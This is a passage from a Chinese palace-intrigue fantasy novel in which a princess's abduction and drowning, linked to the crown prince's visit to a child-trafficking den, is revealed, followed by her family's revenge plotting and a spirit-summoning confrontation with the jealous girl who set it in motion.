且说当时,众贵女围着宝珠,赞叹声不绝于耳。
陆倩波被冷落在一旁,看着被众星捧月的宝珠,听着那些夸赞,嫉恨如同毒藤疯长。
第270章 逃出去!
她忍不住压低声音,对身边仅剩的两个跟班嗤道:
“捧高踩低!不过就是会巴结,仗着长公主是陛下亲姐罢了!
长公主有什么了不起?除了这个身份,于国于民有何建树?
哪里比得上我爹爹,那才是真刀**、为国为民的大英雄!”
这话说得实在忤逆,那两个跟班低垂着头,不敢搭腔。
陆倩波一时心中不忿更深,将宝珠视作眼中钉。
此事之后,宝珠寻了京城最负盛名的“金缕阁”——
金缕阁汇聚天下奇珍,尤其匠人手艺巧夺天工,出品首饰堪称一绝,背后的东家正是秦王母族。
宝珠请阁中最好的老师傅,依照她亲手绘制的图样,以那根尾羽为主材,辅以珍珠宝石,为长公主精心打造了一根华美绝伦的宝簪。
宝珠孝心可嘉,美名更藉由此事传遍京城。
人人皆赞嘉乐郡主不仅骑**湛,更兼仁孝之心,实乃皇室明珠。
这一切,落在陆倩波眼中,无异于烈火烹油。
嫉恨的种子深埋心底,只待时机破土。
上元灯节那夜,南华郡主携仆出游,于西市附近,亲眼瞧见一伙形迹可疑之人,用**掳走一个四五岁的幼童,塞入马车。
她并未声张报官,反而心生一计。
陆倩波故意指使身边一个伶俐的丫鬟,装作惊慌失措的样子,跑到正在灯谜摊前兴致勃勃猜谜的宝珠面前,急促说道:
“嘉乐郡主!不好了!那边……那边有歹人掳了孩子!
我们郡主瞧见了,最是见不得这等伤天害理之事,已带人去追了!
郡主仁心侠义,可要一同前去?
若能擒住那伙贼人,说不定能救回不少失踪的孩子!”
年仅八岁的宝珠虽热血正义,却并不愚钝。
她素知陆倩波与自己不睦,怎会突然好心邀自己同去“行侠仗义”?
其中必有蹊跷。
她当即摇头拒绝,并命随行侍卫前去查看报官。
然而,陆倩波本就憋着坏水。
她故意让自己的人弄出些动静,引起了那伙拐子的警觉,随即自己迅速藏匿于暗处。
那伙拐子做贼心虚,又见宝珠衣着华贵、身边仆从明显,误以为她是京中的官家小姐。
慌乱之下,竟狗急跳墙,分出数名悍匪,故意在多个地点制造混乱。
当晚,灯市乱了起来。
宝珠就此失踪人潮之中。
直到被关进青莲观那处隐秘的暗室,那伙拐子尚不知,他们掳来的这个性子刚烈的小女孩,竟是当今圣上最疼爱的外甥女,长公主的掌上明珠——
嘉乐郡主。
听到这里,长公主已泪流满面,身体抖得如同风中落叶。
卫临亦是双目赤红,牙关紧咬。
若事情仅仅到此,郡主或许尚有一线生机。
那伙拐子虽恶,却也只知将掳来的孩子分门别类,或卖或留,一时半会儿不会伤及性命。
但那一日,在青莲观那间地下暗室,嘉乐郡主亲眼目睹了一个她绝不该知晓的秘密。
暗室隔壁,不时传来女孩们凄厉的惨叫声,还有某种难以形容的、令人毛骨悚然的动静。
同被关押的几个小女孩吓得瑟瑟发抖,哭泣不止。
唯有宝珠,虽然心里也怕,却努力挺直小小的脊背,低声安慰她们:
“别怕,我是嘉乐郡主,我娘亲是长公主,我爹爹是大晋最年轻的大将军!他们一定会来救我们的!你们要坚持住!”
然而就在那时,门开了。
一个谄媚到极致的声音传来:“贵人您请,这次的‘货色’都在这儿了,您看看可有合眼缘的?”
一道绝不该出现在那种地方的声音,响了起来。
那声音对宝珠而言,不仅不陌生,反而熟悉极了。
正是当朝太子,萧鉴的声音。
彼时太子正饶有兴致地问:“托叔公(永熙王萧玦)的福,我还是头一回来挑,这可有什么讲究?我是该挑年纪小的,还是……”
他话未说完,戛然而止。
昏暗跳动的烛火光线下,那扇连通着地狱的门被完全推开。
门外之人带着审视猎物的目光,漫不经心地扫视着屋内惊恐万状的女孩们。
太子的目光,与睁着一双明亮不屈双眼的宝珠对个正着。
时间仿佛在那一刻凝固。
宝珠认出了那张时常在宫中宴席上见到、总是带着温和笑意的储君面孔。
而太子萧鉴,也认出了这个本应在繁华灯市中欢笑的小表妹。
接下来的事,即便这侍卫不说,也不难推想了。
小小的宝珠,像一只被逼到绝境的小兽,在极致的恐惧与求生欲下,爆发出惊人的力量。
她猛地撞开离她最近的一个看守,拼命地朝外逃去!
她仗着自小跟随武学师傅打下的些许底子,循着沿途被带来时的模糊记忆,穿过曲折昏暗的通道,躲过惊慌失措的追兵……
彼时的她,心中只有一个念头:逃出去!
最终,她逃到了青莲观那处被太后娘娘亲口赞誉过的莲池旁。
夜色深浓。
她将自己小小的身躯,死死蜷缩在一片假山石后的幽暗阴影里。
追兵的脚步声和呼喝声越来越近。
火把的光亮晃动着,扫过水面与廊柱。
宝珠紧紧捂住自己的嘴,连哭泣都不敢发出声音。
然而,就在追兵即将掠过她藏身之处,骂骂咧咧准备转向他处搜寻时——
“叮铃……”
一声极其轻微的脆响,从她藏身的阴影里传出。
是宝珠脚踝上,那根系着精巧小金铃的红绳。
那是长公主不久前从宝华寺求来的红绳,铃铛内有一颗镌刻着梵文的小小金珠,晃动时声音清脆悦耳,寓意平安吉祥。
宝珠一直珍爱,从未取下。
方才亡命奔逃时未曾留意,此刻因极度紧张而微微颤抖,竟让那铃铛轻轻碰触到了石壁。
所有搜寻者的脚步,骤然停住。
火把的光,齐刷刷地,投向了那片假山石的阴影。
就在于莲池一墙之隔的外面,恰好有一个农妇经过。
惠娘背着一筐新采摘的蘑菇,本是想到青莲观后门,问问可否卖给观里,换些钱粮。
刚走到半路,便听到了墙内传来了不同寻常的动静。
惠娘心中起疑,又有些害怕,便趴在地上,透过砖墙之间的一道缝隙,往里看去……
那一夜,趴在冰冷砖缝后的惠娘,看到了让她往后余生,都无法彻底挣脱的恐怖梦魇。
昏黄跳动的火把光芒,映照在碧波荡漾的莲池水面上。
那个衣着精致、不久前还在灯市上笑靥如花的小小身影,被一只大手倒提着纤细的脚踝,从假山石
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后猛地拖了出来。
系在白皙脚踝上的红绳刺眼极了。
绳上坠着的小小金铃,在剧烈的晃动中发出急促而绝望的“叮铃”碎响,仿佛生命最后的哀鸣。
那具曾经充满活力的娇小身躯,被毫不留情地浸入冬日冰冷的池水中。
水花轻微地溅起,又迅速被浓墨般的池水吞噬。
“啊——!”
长公主终于再也承受不住,发出一声惨嚎。
人人都渴求真相,以为真相能带来解脱与公正。
可当真相如此血淋淋地摊开在眼前时,带来的却往往是更彻骨的绝望与无力。
卫临强撑着扶住妻子,他看向云昭,又看向萧启,那双布满血丝的眼睛里,是滔天的恨意,与一种近乎毁灭的决绝。
云昭面色沉凝,一抬手,将那魂魄收入瓶中。
卫临见状,猛地朝云昭伸出手:“给我!”
云昭却摇了摇头,将小瓶握紧,不曾递出。
她看着一滴眼泪都流不出的长公主,沉声道:“义母,驸马,二位此刻心中悲愤,云昭感同身受。
但请二位冷静思量——
仅凭此魂魄口述,加上惠娘一个曾经疯癫的农妇证词,
即便我们此刻将太子揪到御前对质,便足以让一国储君伏法偿命吗?
即便太子真能被处死,陛下会让天下人知道,太子究竟做了何等恶事,又是因何而死吗?!”
长公主仿佛被这句话刺了一下,空洞的眼神缓缓聚焦。
她抬起脸来:“不错……昭儿看得明白。
本宫女儿的一条命,那些不知所踪、惨死魔窟的孩童的命,都不足以让龙椅上的那位,舍得用一国储君的命,还给天下一个公道。”
她太了解当今圣上的心性。
别说是她的女儿,就算今日是她自个儿死在了太子手中,也不足以让皇帝因为这个理由,而动了废储的念头。
历朝历代,皇帝废储,绝不仅仅因为太子德行操守不够。
凡是能这样轻易写在史书的,往往是要掩盖点别的什么东西。
而能让一位帝王对东宫储君施以极刑,昭告天下,唯有一种情形——
太子谋逆逼宫,触及了帝王最不可碰触的逆鳞。
云昭迎着卫临盛满幽深恨意的目光,继续道:
“驸马若是信得过我,便将此魂魄暂且交由我保管。
现在拿出它,只能让太子伤些皮**,动不了其根基。
反而会打草惊蛇,让背后可能存在的黑手隐匿更深。”
她顿了顿,眼中闪过锐利的光芒:“我们需要等待一个时机——
一个陛下对太子彻底失望、真正动了易储念头的时机。
到那时,再将此魂魄与其供述,作为最后一把**递上,
如此,才能彻底斩断太子的所有退路,让他求生不得,求死不能!”
萧启也道:“姑母,驸马,还请暂息雷霆之怒,留存有用之身。
此事虽是太子亲手所为,罪不可赦,但细想之下,疑点颇多。
太子为何偏偏在那晚、那个时辰出现在青莲观?
陆倩波一个深闺少女,即便对宝珠心怀嫉恨,但她历来心思浅薄,如何能构思出如此阴毒且不沾自身嫌疑的连环计?
这背后,是否另有人投其所好,刻意引导,蓄意将宝珠送往青莲观,刻意让太子与姑母一家结成死仇?”
第271章 当真毒辣
卫临咬牙道:“不是萧玦。他死那晚,我亲口问过他。”
萧启颔首:“自然不是他。他虽地位尊崇,却不过是个沉眠肉欲享乐的傀儡。”
那日云昭佯装入彀,被人一路带至熙园,亲眼见到萧玦之际,其背后的邪师早已不知所踪。
若萧玦有如此精妙狠毒的布局之能,也就不会死的那样容易了。
长公主自幼生长于宫廷,历经风波,对权谋算计的敏锐远超常人。
此刻顺着萧启的话思索,脸上渐渐浮现出一丝了然的寒意,她声音沙哑,缓缓道:
“渊儿的意思是……皇室之中,有人早就窥知太子与永熙王之事,甚至可能暗中‘襄助’,助长气焰。
而后,又利用陆倩波对宝珠的嫉恨,巧妙设局,将宝珠送入虎口。
其目的,并非单纯害死宝珠,而是要借此……挑起本宫与东宫不死不休的仇怨?”
她喘息了一下,又接着道:“若本宫因丧女之痛,不顾一切御前告发,陛下或许会为安抚我这‘苦主’,而惩戒太子。
但内心深处,必会对本宫心生猜忌。
而若陛下权衡利弊,最终选择保全东宫,轻拿轻放……
那本宫与陛下之间,数十年的姐弟情分恐将荡然无存,只剩裂痕与怨怼。”
无论结局偏向哪边,那幕后之人,皆可坐收渔翁之利——
重创东宫,离间天家至亲,等于提前轻扫障碍。
长公主长叹一声:“此计……当真毒辣!”
“义母所虑极是。”云昭自袖中取出一张素笺,朝着长公主递了过去。
长公主看着上面的字迹,起初是困惑,随即瞳孔骤缩,指尖难以抑制地颤抖起来。
她快速扫过数行,猛地抬起头,愕然地看向云昭:“昭儿!这些消息,你是从何处得来?”
她摇摇头,看了一眼萧启,又道,“这事,应当是有人根据当年之事,自行揣测的。
里头有些东西,此人说的也不全对。
事关妙音,个中内情,除了本宫与母后,就是皇室中人,也知之不详。”
提起妙音公主,长公主流露出有些黯然的神色,却还是将当年的事如实道来。
原来,妙音公主当年生下孩儿之后,便得了崩漏之症,每个月总是淋漓不尽。
这病虽要不了命,但非常虚耗女子气血。
不过一年光景,妙音公主便形容枯槁,原本明媚的容颜黯淡无光,性子也变得孤僻易怒。
原本柔情蜜意的驸马,渐渐疏远了她。
就连她拼死生下的孩儿,也无法亲自带在身边哺育照料。
这还是萧启第一次听人提起这位小姑姑。
他问:“既是皇家公主,为何我此前从未听人提起过这位小姑姑?”
长公主似有些难以启齿,迟疑了一会儿才道。
“因为……妙音她死得有些蹊跷。宫中对此,讳莫如深。”
她陷入回忆,声音飘忽:“那段日子,妙音的身子总不见好,汤药如饮水,却毫无起色。
她渐渐变得沉默寡言,后来……竟痴迷起了佛道之事,整日诵经打坐,说是要寻求解脱。
而偏偏在那段时间,母后的身子也一直不爽利,且因为容颜日渐衰老,情绪十分低落。”
“后来,妙音不知听了何人的建言,说她愿意为母后和孩儿祈福,自请离宫,前往京郊的宝华寺带发清修。
母后起初不舍,但见妙音心意坚决,自己也确实被病痛衰老所扰,便允了。”
“妙音离宫约莫一月之后……”
长公主的眉头紧紧蹙起,似在努力回想着任何不合理的细节,
“母后的身子,竟突然有了起色!不仅病痛减轻,连容颜都恢复了几分往日的丰润光泽。
本宫记得那段时日,母后心情极好,容光焕发,对妙音更是赞不绝口,说是孝心感动上天。”
“再之后不久,母后便提出,要去宝华寺探望妙音。
本宫当时也想念妹妹,便说要一同前去。
可就在出发前一日,本宫毫无征兆地突发腹绞痛,来势汹汹,太医也查不出具体缘由,只得卧床静养。”
“等第二日,本宫稍好些醒来,母后已经起驾离宫了。
本宫想着,宝华寺也不算太远,等本宫痊愈,再去见妙音也不迟。
谁知,母后抵达宝华寺的当日,便发现妙音已经坐在禅房的蒲团上,悄无声息地去了!”
长公主的声音哽咽了一下:“寺中人说,她神色平静,甚至唇角似乎还带着一丝解脱般的微笑。
可也有人说,妙音去得不详。为她更换寿衣的宫女和嬷嬷,当时满是惊恐地从禅房奔出。且这几个人,事后都被灭口了。”
云昭听到这,心中愈发笃定,这妙音公主之死,十有八九与太后脱不开干系。
如若妙音公主真的甘愿以牺牲自身性命为代价,助太后身体康复,乃至青春焕发,那么她的身上,必定会留下惨不忍睹的痕迹。
而这恐怕正是那些宫女和嬷嬷都被灭口的真正原因。
“唯有一件事,本宫可以确认为真。妙音去后,身边留有一封绝笔信,信中她恳求母后,看在她这份‘孝心’的份上,能善待‘椿儿’……”
萧启沉默了良久,方才沉声问道:“我印象中,皇家玉碟之上,从未记录过这个名字。”
长公主点了点头,指着云昭递来的纸笺,语气沉重:“就像这上面所推测的……
妙音死后不久,陛下便寻了个缘由,令驸马暴毙,与妙音夫妻二人合葬。
而妙音留下的那个孩子,被今上以‘怜悯幼孤’为名,接入宫中,并未记在妙音名下。
而是……纳入了皇室玉碟,充作了自己的皇子。
并为他改名,叫作——萧淳。”
“萧淳?”
云昭对这个名字感到颇为陌生。
萧启接口道:“今上膝下,明面上共有三子。
皇长子萧瓛(音同环),其母出身卑微,且他自幼体弱多病,性情孤僻,刚满十八岁便自请离京就藩。
其封地在偏远贫瘠的黔州。
萧瓛赴藩两年后,又上疏恳请,将其生母端嫔接去一同奉养。
此后便似与京城断了联系,低调异常。”
“七皇子,便是萧淳,今年刚满十五岁。”萧启顿了顿,眼中闪过深思,
“约莫七八岁时,萧淳遭遇了一场‘意外’,不仅毁了容貌,还自此瘸了一条腿。他深居简出,鲜少参加宫廷宴饮朝会。”
可以说,无论是萧瓛还是萧淳,在朝臣乃至皇室宗亲眼中,皆因种种缘故,被视为与储位无缘之人。
就连皇帝本人,也从未对这两位皇子寄予过多关注。
云昭听罢,却微微蹙眉:“年岁对不上。”
她思索着纸笺上关于玉衡与太后关系渊源的记载:
玉衡真人通过邪术丹药与太后建立联系,并暗中经营青莲观、玄都观作为巢穴,至少可追溯至二十年前,甚至更早。
而萧淳今年方才十五岁。除非……
她抬起眼帘,眸光扫过萧启与长公主:“除非这幕后布局之人,另有其人。
此人筹谋之早、隐藏之深,恐怕连玉衡都未必知晓其真正身份与全盘计划。”
至于萧瓛或是萧淳……
或许只是这盘棋中,一枚被精心摆放的棋子罢了。
萧启这时道:“父皇已下旨,将今年的文昌大典,与万寿圣节合并举行,定于同一天。
此次盛典,三皇子萧瓛也会奉诏,携其母端嫔返京朝贺。”
云昭眸光微亮。
万寿节与文昌大典并举,皇室宗亲、文武重臣齐聚,倒是个难得的好时机。
萧启继续道:“至于萧淳那边,我已派人暗中留意其府邸动静。他虽深居简出,但毕竟身在京城,总会有蛛丝马迹可循。”
长公主听着两人抽丝剥茧的分析,心中惊疑不定,又低头仔细看了一遍纸笺上那些令人心悸的文字。
她抬头望向萧启,声音发颤:“渊儿,你的意思是……妙音当年的死,其中……大有蹊跷?”
云昭与萧启交换了一个眼神。
呈给长公主的这页纸,是他们在马车上商议后,从玉衡庞杂的招供记录中,特意筛选并重新誊抄的版本。
云昭道:“义母,我知您心中恨火炽燃,恨不能立时让仇人血债血偿。
虽然时机未至,尚不能将太子及其背后可能的黑手一举揭穿,绳之以法。
但眼下,倒有两件力所能及之事,可让义母先出一口恶气,稍慰宝珠在天之灵。”
她微微前倾身体,目光沉静地看着长公主:
“不知义母……想要先做哪一宗?”
第272章 这才是真正的福气呢!
安王府今年流年不利。
先是南华郡主陆倩波在碧云寺祈福时突发吐血,昏厥不醒。
如同一株骤然枯萎的花,徒留躯壳,却失了魂魄。
紧接着,京中流言蜚语暗涌,关于“桃花咒”、“阴私算计反噬自身”的传闻甚嚣尘上。
普通百姓不知,但当日同在碧云寺的命妇贵女们却心照不宣。
渐渐地,有关南华郡主的流言就那么传开了。
捱过了约莫两个月,四处求医无果,郡主竟在玄察司那位传闻中手段通玄的云司主手中醒了。
只可惜,人是救回来,心智却倒退成六七岁的稚童。
每日里只知道扯着丫鬟的袖子,笑嘻嘻地嚷嚷着要吃糖葫芦、要放纸鸢,
偶尔,还会含混不清地嘟囔几句“要嫁秦王”之类的痴语。
安王妃薛静姝的日子,便在这半是庆幸、半是心焦的诡异平静里,一日日熬着。
按理说,女儿能从活死人般的状态中醒转,哪怕痴傻,也强过无声无息地躺在锦绣堆里耗尽生命。
她这颗饱受折磨的心,本该比从前松快些许。
薛静姝年轻时,是京城里有名的掐尖好强的贵女,出身钟鸣鼎食的河东薛氏,嫁与战功赫赫的异姓王陆擎,多少年来,安王妃这个名号,可谓风光无限。
可这半年来,从女儿突发怪病时的惊慌绝望,到求告无门的心如死灰,再到如今面对痴儿的心力交瘁,早已将她那份锐气磋磨得所剩无几。
薛静姝被迫明白了一个道理:做人,不能贪心太过。
女儿能捡回一条命,已是老天爷格外怜悯,她该知足。
连跟随她多年的奶嬷嬷都这般宽慰她:
“王妃,往宽处想。郡主如今这般,虽不似从前伶俐,却也少了无数烦恼争执,未尝不是福气。
您还年轻,只要好生将养身子,拢住王爷的心,何愁不能再得麟儿?
往后的日子,还长着呢,总会再好起来的。”
若放在半个月前,薛静姝或许真会被这番话劝动,重燃起几分希望,开始琢磨如何调理身体,如何挽回夫君日渐冷淡的心。
再生一个健康聪明的孩子,继承王府荣耀,似乎的确是条看得见的出路。
可偏偏,就在她心绪稍平之际,那日听闻关于苏凌云与陆擎的陈年旧事,如同淬了毒的细针,深深扎进了她的心里。
日日夜夜折磨,让她无法真正安宁。
原来……陆擎心里藏了半辈子、求而不得的白月光,竟是那个如今已与姜家和离、被封为三品淑人的苏凌云!
是那个如今风头正盛、令她忌惮又不得不依赖的云昭的生母!
这半年来,陆擎远在边关镇守,自然尚未得知苏氏境遇已翻天覆地。
可就在三天前,他奉旨回京述职了。
人回来了,那些被距离暂时掩埋的旧日情愫,又会如何?
薛静姝心中的嫉妒与不安,如同见风即长的藤蔓,疯狂缠绕着她的五脏六腑。
她看着镜中自己因忧思而渐显憔悴的容颜,再想到苏凌云洗尽铅华的容颜,她如今不仅得了诰命、女儿又那般出息……
反观她呢,掐尖好强了半辈子,从前捧在心尖上的女儿,却成了人尽皆知的傻女。
强烈的对比让她几乎喘不过气。
陆擎回府这几日,虽依旧宿在书房,对她客气疏离,可那份平静之下,是否正在酝酿着去见故人的冲动?
这天晚上,薛静姝终究是按捺不住,依照奶嬷嬷的建议,亲自端着小厨房炖了许久的虫草花胶滋补汤盅,送到了陆擎的书房。
书房内灯火通明,陆擎一身家常墨色长袍,坐于宽大的书案后,正凝神批阅着公文。
烛光映照着他轮廓分明的侧脸,剑眉星目,不仅未见苍老,且因常年军旅生涯更添沉稳威严。
“王爷,夜深了,用些汤水暖暖胃吧。”
薛静姝将汤盅轻轻放在案几一角,声音尽量放得柔和。
陆擎抬起眼,目光在她脸上掠过,点了点头,语气是一贯的平稳:“有劳夫人。”
说罢,便又低下头,目光重新落回公文上。
甚至没有多看一眼那盅精心熬制的汤。
更未曾如寻常夫妻般,问一句她近日可好,女儿如何。
这份让她几乎挑不出错处的客气,比直接的冷漠更让薛静姝心寒。
她站在那儿,看着烛光下夫君冷硬的侧脸线条,积压了数日的不安、委屈、嫉妒,终于冲破了强自维持的镇定,脱口而出:
“你知道了,是吗?”
陆擎笔尖微微一顿,再次抬眼,眉宇间掠过一丝疑问:“什么?”
“你知道苏氏和离了,姜家彻底倒了!”
薛静姝的声音不自觉拔高,带着一丝她自己都未察觉的尖厉和控诉,
“倩波如今成了这副模样,我与你……膝下再无其他健康聪慧的孩儿。
眼下这时机,岂不正是你与她再续前缘、弥补当年遗憾的大好机会?不是吗?!”
她紧紧盯着陆擎,试图从他脸上捕捉到一丝被说中心事的波动,哪怕是恼羞成怒也好。
然而,陆擎只是静静地回视着她,眼波深不见底,如同冬日封冻的湖面,没有丝毫涟漪。
那沉默,比任何辩驳都更让薛静姝心慌意乱。
仿佛她奋力掷出的石头,只落入了一片无尽的虚空。
就在这时,前院方向陡然传来一阵急促而沉重的“嘭嘭”砸门声,力道之大,仿佛要将大门震碎!
紧接着,是门房惊慌失措的脚步声和通禀声,声音都变了调:
“王、王爷!王妃!是……是秦王殿下……还有长公主殿下……还、还有那位云司主!带着好多人……”
薛静姝一听这三人的名号组合,眼皮便不受控制地狂跳起来!
秦王萧启是什么人?
那是战场上杀人如麻,令人闻风丧胆的活阎王!
长公主又是什么人?
那是当今圣上唯一的同母姐姐,护短起来连皇帝都要让三分、全京城最不能招惹也最不讲道理的女人!
更别提云昭——
那可是个连自己姓氏和父族都能亲手斩断,对仇敌狠起来眼睛都不眨的煞星!
这三人联袂深夜砸门,能有什么好事?
安王妃瞬间觉得脑瓜子“嗡”的一声,头大啊!
陆擎此时已放下笔,站起身来。
他眉头微蹙,第一反应却是:“可是为了倩波病情?”
他听闻那位近来声名鹊起的云司主深夜来访,下意识想到的,便是这可缘故。
薛静姝闻言,心脏突然一揪:是了!她怎么差点忘了这事儿!
秦王是云昭的未婚夫婿,长公主是云昭的义母!这二人夤夜前来,八成是陪着云昭来的!
而云昭来此,除了为陆倩波,还能为什么?
难道……是她找到了彻底治愈女儿的方法?
她心中瞬间转过无数念头,快步走出书房,对着候在廊下的管事厉声道:“快去!把小姐带到正厅来!仔细些!”
是以,当云昭一马当先,萧启与长公主一左一右如同护法般随行,踏入安王府灯火通明的正厅时,
一眼便瞧见了被丫鬟搀扶着坐在厅堂正中圈椅里的陆倩波。
云昭目光在痴傻的郡主身上停留一瞬,随即眉梢一挑,转而看向安王妃。
不待云昭开口,薛静姝已抢先一步,语气带着明显的讨好:“云司主深夜莅临,可是寻到了什么新的法子,能助我家倩波恢复神智?”
原来是为了这个。
云昭似笑非笑地看着薛静姝,缓声道:“王妃,有时无知无觉,混沌度日,未尝不是一种福气。
至少可以不必醒来,面对某些必须承担的责任,或是偿还某些早该清算的旧债。”
她这话说得含糊,却意有所指。
偏偏薛静姝有个毛病,历来听人说话,只爱听自己愿意听的那一部分。
旁的话,她权当做耳旁风,统统不管!
她想:好个云昭,你果然有办法!
之前当着圣上和群臣的面,还说这毛病治不好,如今看来,只怕是等着与她谈条件!
也怪她这些天心乱如麻,竟没想到这一层!
早知道云昭也跟其他人一般,她早就带上重礼登门了!
薛静姝心中稍定,语气更加殷切,甚至带上了几分“推心置腹”的感慨:
“云司主此言差矣!您尚未为人母,许是不懂我这为娘者的苦心。
我宁可我的倩波清醒过来,哪怕要吃苦头,要承担责任,要面对风雨,
也不愿她一辈子就这样痴痴傻傻、浑浑噩噩地‘享福’!”
她目光扫过一旁静立不语的萧启和面沉似水的长公主,又似无意般瞥了一眼眉头微蹙的陆擎,继续道:
“便如同云司主您,年纪轻轻,便执掌玄察司,在外查案奔波,定然也是风餐露宿,吃过不少常人难以想象的苦头。
但这其中的历练、成就,以及那份掌控自身命运的荣耀与力量,岂是困于后宅、仰人鼻息的女子所能比拟?
这才是真正的‘福气’呢!”
她顿了顿,意有所指地加重了语气:“尤其这世间,男子心思易变,便是父兄,也未必能依靠一辈子。女子终究,还是要自身立得住才好。”
陆擎闻言,只是淡淡瞥了薛静姝一眼,并未接话,转而抬手示意下人上来:“给秦王殿下、长公主殿下、云司主看茶。”
薛静姝见陆擎不搭腔,心中酸涩更甚,却不敢在外人面前失态,只得将全部期盼的目光投向云昭。
她在心中暗忖:此女虽狡猾难缠,又是苏凌云的女儿,令人膈应,但若能真治好我的倩波,今日便是许以重金厚礼,乃至欠下个大人情,也值得。
她不由看向陆擎,想从他眼中得到一丝支持或认同,却见陆擎的目光,正落在云昭身上。
那眼神……专注,深邃,甚至带着一丝她看不懂的复杂,仿佛看得入了神。
薛静姝心头猛地一刺,酸楚与嫉恨齐齐涌上心头。
又是这样!
只要与苏凌云沾边的人或事,总能轻易吸引他全部的注意力!
第273章 我就是嫉妒你!
就在这时,云昭开口道:
“王爷,王妃,我今夜前来,是有一桩旧事,需得向南华郡主当面求证一二。”
她目光转向痴痴傻傻的陆倩波,继续道:
“然郡主因符咒反噬,心智受损,难以应答。
我左思右想,倒是琢磨出一个非常之法,或可暂时刺激郡主神魂,令其恢复清明,足以答话。”
她话尚未说完,薛静姝已惊喜交加地急急打断:
“真能恢复如常?哪怕只有几年也好啊!”
云昭却缓声道:“王妃莫急。此法并非没有代价,且效果难以确保。”
“此法乃是以祝由之术,强行刺激郡主被封藏的神魂记忆,过程或有风险,且效用因人而异。
有可能郡主在回答完问题之后,便会再度陷入痴傻。
也有可能,可以就此清醒相当长一段时间,也说不准。
云昭有言在先,还请王爷、王妃三思。”
陆擎眉头锁得更紧,沉声问道:“风险几何?”
云昭坦诚道:“哪怕施术之后,郡主再度陷入痴傻,也与如今无异。不会危及性命。”
薛静姝眼中闪过挣扎之色。
可一想到,女儿至少能得片刻清醒,哪怕只能与自己说上几句话,问问她想吃什么、用什么,有什么心愿,也算了却自己这为人母的牵挂。
总强过如今这般全然无知无觉、任人摆布要强!
更何况,万一倩波福大命大,真能皆有云昭口中的什么祝由术,从此彻底清醒呢?
若真是那样,她也不求再与陆擎生什么孩子了!
她猛地抓住陆擎的手臂,急切道:
“王爷!哪怕只有一线可能,哪怕倩波只能清醒一天、一个时辰,我也愿意试一试!
我要亲口问问我的女儿,她可还有什么心愿未了!我不想她这辈子,就这样稀里糊涂地过了!”
陆擎看着妻子激动含泪的眼,又看了一眼痴傻的女儿,心中天人交战。
回京这几天,他已听说无数传闻。
对这位年纪轻轻的云司主,他深知对方手段莫测,心智更远非寻常人能及。
一个能让陛下龙心大悦的玄师,能让秦王这样的英伟男儿倾心所爱的女子,能让长公主认为义女为其撑腰的姑娘,绝不是表面看起来那么简单。
而她方才进府之后,字字句句,仿佛都意有所指……
尤其,她今晚并非独自前来。
他们到底要向倩波询问什么,竟引得秦王和长公主一同现身?
甚至就连不日出使南疆的驸马卫临,也陪同在侧?
可若是当面拒绝……
且不说妻子必定会怨他心狠,今日之事,既然两位殿下亲至——
拒绝的代价,安王府未必承受得起。
他缓缓吐出一口气,对云昭道:
“既然云司主有要事相询问,又有把握控制风险……那便,有劳了。”
说到这,他朝云昭拱了拱手,别有深意道:“还望司主,手下留情。”
云昭瞥了陆擎一眼。
这姓陆的模样瞧着英武不凡,却并不愚鲁,反而心细如发,言行谨慎。
她不由在心中暗叹:若不是当年林静薇用邪术借运,又设计害得母亲与裴将军污了名声,致使母亲心灰意冷之下,仓促下嫁姜家……
这陆擎,未必不是母亲的良配。
薛静姝闻言大喜,连声道:“多谢王爷!多谢云司主!”
云昭微微颔首,不再多言。
她缓步走到陆倩波面前,示意搀扶的丫鬟退开些许。
陆倩波坐在椅子上,傻兮兮笑着,歪头瞧着云昭。
云昭并指如剑,指尖瞬间凝聚起一点灵力。
她双眸微阖,口中开始吟诵一段韵律奇诡的咒文:
“太虚渺渺,神魂幽幽。迷障重重,灵光指引。
以吾之契,唤汝之真。过往烟云,返照心镜。
尘封之忆,暂启门扉——敕!”
咒文声中,她指尖那光晕倏地扩大,化作无数细若游丝的光线,如同有生命的触须,轻柔却坚定地探向陆倩波的眉心等关窍。
同时,她左手自袖中滑出一枚玉符,悬于陆倩波头顶三寸之处。
玉符缓缓旋转,洒下淡淡清辉,形成一个无形的护持结界。
这玉符并非什么珍稀古物。
而是云昭从皇帝平日赐下的那些宝物中,寻得一些质地淳和的玉石,自己镌刻了符文上去,以备不时之用。
厅中众人屏息凝神,只见陆倩波原本空洞傻笑的脸上,神情开始出现变化。
她眉头先是无意识地蹙起,随即眼珠在眼皮下快速转动,身体也开始微微颤抖,仿佛在抵抗着什么,又像是在努力抓住什么。
云昭的咒文越来越急,指尖灵力输出愈发精纯。
那游丝般的光线几乎要将陆倩波的头颅包裹起来。
突然,陆倩波猛地睁开了眼睛!
那眼神,不再是一片混沌的痴傻,而是充满了惊惶、痛苦、茫然,以及一丝终于挣脱束缚的、属于她原本年龄的清醒与锐利!
她大口大口地喘着气,仿佛刚从一场漫长的噩梦中醒来,额头上瞬间布满了细密的冷汗。
薛静姝见状,狂喜瞬间淹没了一切。
眼见陆倩波睁开双眼,她再也忍不住,一把扑了上去,伸出双臂就欲将女儿紧紧搂入怀中:
“倩波!我的儿!你终于醒了!你认得娘亲了吗?”
然而,就在她指尖即将触及女儿的刹那——
陆倩波那刚刚恢复清明的眼睛,却猛地瞪圆,瞳孔骤缩,仿佛看到了世间最恐怖的东西!
她的目光,越过了扑来的母亲,惊恐万状地盯在了云昭身侧。
“啊——!”一声尖叫从陆倩波喉咙里迸发出来。
她整个人如同触电般剧烈地弹跳起来,狠狠推开伸过来的母亲的手。
“滚!你滚啊——!别过来!别缠着我——!!!”
薛静姝被推得一个趔趄,下意识就想再次上前安抚:“倩波,是娘啊……”
“王妃且慢。”云昭手臂一抬,恰好拦在薛静姝身前。
与此同时,她另一只手在宽袖遮掩下几不可察地一捻。
室内并无狂风,烛火却齐齐一暗,复又诡异的炽亮三分。
众人只觉得周身温度仿佛骤降,一股寒意顺着脊梁爬升。
而在薛静姝的视野里,云昭身旁那道娇小的身影竟缓缓由淡转浓,彻底“凝实”。
那是个约莫七八岁的女孩,穿着鹅黄色云锦裁就的精致衫子,头梳可爱的双丫髻,髻上缠着莹润的珍珠串。
最引人注目的是她颈项间那串赤金点翠的璎珞,中央一枚鸽血红的宝石光华流转,艳烈逼人。
她背着小手,下巴微抬,眉眼精致如画,神情却带着一种被娇宠至极才有的、浑然天成的傲然。
金尊玉贵,顾盼生辉——
赫然是嘉乐郡主卫宝珠生前的模样!
陆倩波眼睁睁看着“宝珠”的身影从虚化实,脸上的血色褪得一干二净。
